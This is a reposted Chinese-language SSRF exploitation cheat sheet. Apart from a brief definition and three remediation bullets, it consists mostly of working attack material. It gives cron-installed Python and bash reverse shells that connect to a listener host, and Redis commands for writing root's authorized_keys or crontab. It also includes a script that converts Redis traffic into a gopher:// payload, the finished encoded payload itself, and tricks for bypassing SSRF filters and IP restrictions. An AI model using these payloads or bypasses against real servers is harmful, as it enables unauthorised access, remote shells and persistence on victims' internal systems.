SSRF總結


ssrf漏洞,全稱為服務端請求偽造漏洞,由於有的web應用需要實現從其它服務器上獲取資源的功能,但是沒有對url進行限制,導致可以構造非本意的url對內網或者其它服務器發起惡意請求。
ssrf漏洞的危害可以通過ssrf漏洞可以對內網或本地機器進行主機發現,服務版本探測或者針對內網或本地一些薄弱的應用進行攻擊,同時利用ssrf漏洞還可以時服務器主動發起請求,從而做為一個攻擊跳板或者繞過CDN找到其服務器的真實ip
file_get_contents(),fsockopen(),curl_exec()三個函數使用不當時將會造成ssrf
大部分 PHP 並不會開啟 fopen 的 gopher wrapper
file_get_contents 的 gopher 協議不能 URLencode
file_get_contents 關於 Gopher 的 302 跳轉有 bug,導致利用失敗
curl/libcurl 7.43 上 gopher 協議存在 bug(%00 截斷),經測試 7.49 可用
curl_exec() //默認不跟蹤跳轉,
file_get_contents() // file_get_contents支持php://input協議

修復方法:

修復方案:

• 限制協議為HTTP、HTTPS

• 禁止30x跳轉

• 設置URL白名單或者限制內網IP

反彈shell定時任務:

*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

針對centos和ubuntu寫定時任務的方法可能不同,具體見文章:

https://joychou.org/web/hackredis-enhanced-edition-script.html

通過SSRF還可以攻擊redis和mysql

一般來說通過ssrf可以首先收集內網信息,比如存活的ip,以及對存活ip進行端口服務探測,可以使用dict://協議,

curl -vvv 'dict://127.0.0.1:6379/info'

1.SSRF+內網redis(通常為3679端口):

如果存在/root/.ssh目錄,直接root權限寫/root/.ssh/authorized_keys
如果不存在/root/.ssh目錄,直接root寫crontab定時任務

1.1存在/root/.ssh目錄(寫入公鑰,直接ssh登錄)

ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit
redis-cli -h 192.168.1.100 -p 6379
192.168.1.100:6379> config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save
quit

 1.2不存在/root/.ssh目錄則寫crontab(ssrf+redis未授權訪問+gopher)

可進行利用的cron有如下幾個地方:
/etc/crontab 這個是肯定的
/etc/cron.d/* 將任意文件寫到該目錄下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用這個目錄,可以做到不覆蓋任何其他文件的情況進行彈shell。
/var/spool/cron/root centos系統下root用戶的cron文件
/var/spool/cron/crontabs/root debian系統下root用戶的cron文件

這里記錄一下如何將命令行下的指令轉換為gopher協議的數據格式,方便ssrf使用,利用socat進行端口數據轉發,原理:

 經過4444端口轉發的數據包將被送到6379端口,即相當於一個中間人端口

若寫入crontab的sheel腳本如下:

echo -e "\n\n* * * * * bash -i >& /dev/tcp/192.168.1.34/7777 0>&1\n\n" | redis-cli -h $1 -p $2 -x set aaa
redis-cli -h $1 -p $2 config set dir /etc/
redis-cli -h $1 -p $2 config set dbfilename crontab
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

其中-x參數是接收標准輸入也就是通過|管道的輸出,即echo的這一條crontab指令

然后執行:

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
./rediscron.sh 127.0.0.1 4444

 就會接收到:

此時只需要將其轉換為gopher格式的數據:

根據轉換規則:

如果第一個字符是>或者< 那么丟棄該行字符串,表示請求和返回的時間。
如果前3個字符是+OK 那么丟棄該行字符串,表示返回的字符串。
將\r字符串替換成%0d%0a
空白行替換為%0a

   0d------回車符號------"/r"

   0a------換行符號------"/n" 

   Windows 在行尾使用 CRLF (carriage return/line feed, 0d 0a)
   UNIX 只使用 LF(0a)

轉換腳本如下:

#coding: utf-8
import sys
exp = ''
with open("payload.txt") as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判斷倒數第2、3字符串是否為\r
        elif line[-3:-1] == r'\r':
            #如果該行只有\r,將\r替換成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的換行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判斷是否是空行,空行替換為%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp

輸出為:

*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0aaaa%0d%0a$57%0d%0a%0a%0a* * * * * bash -i >& /dev/tcp/192.168.1.34/7777 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$5%0d%0a/etc/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$7%0d%0acrontab%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a

 

此時已經生成了gopher的數據,然后直接拼接:

gopher://ip:6379/_+payload   注意要加_

然后就會在監聽端就會收到返回的shell。

2.gopher+mysql(未授權訪問)

首先肯定要知道mysql的登陸賬號,密碼為空

通過gopher打mysql的話,直接將含有sql語句的數據包的16進制編碼為gopher協議格式,見以下鏈接:

https://xz.aliyun.com/t/4420#toc-3,或者直接使用gopherus工具,真的是太方便了

 

繞過技巧:

@ (curl和parse_url解析host不同,curl(lib_url)取第一個@符號后的,parse_url取最后一個@符號后的)
添加端口號
短網址繞過(通過添加短網址,讓其還是指向內網ip)
指向任意IP的域名http://xip.io
http://10.0.0.1.xip.io resolves to 10.0.0.1
www.10.0.0.1.xip.io resolves to 10.0.0.1
http://mysite.10.0.0.1.xip.io resolves to 10.0.0.1
foo.http://bar.10.0.0.1.xip.io resolves to 10.0.0.1
如果讀取文件時如果限制必須為某個host,則file://localhost/etc/passwd也可以讀取
IP限制繞過 十進制轉換 八進制轉換 十六進制轉換 不同進制組合轉換 協議限制繞過 當url協議限定只為http(s)時,可以利用follow redirect 特性 <?php header("Location:gopher://127.0.0.1:6379/_");?> 構造302跳轉服務, 結合dict:// file:// gopher://

ssrf+mysql https://hack4.fun/2019/01/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E5%88%9D%E6%8E%A2ssrf+gopher%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91mysql/

ssrf+繞過ip限制:https://www.freebuf.com/articles/web/135342.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM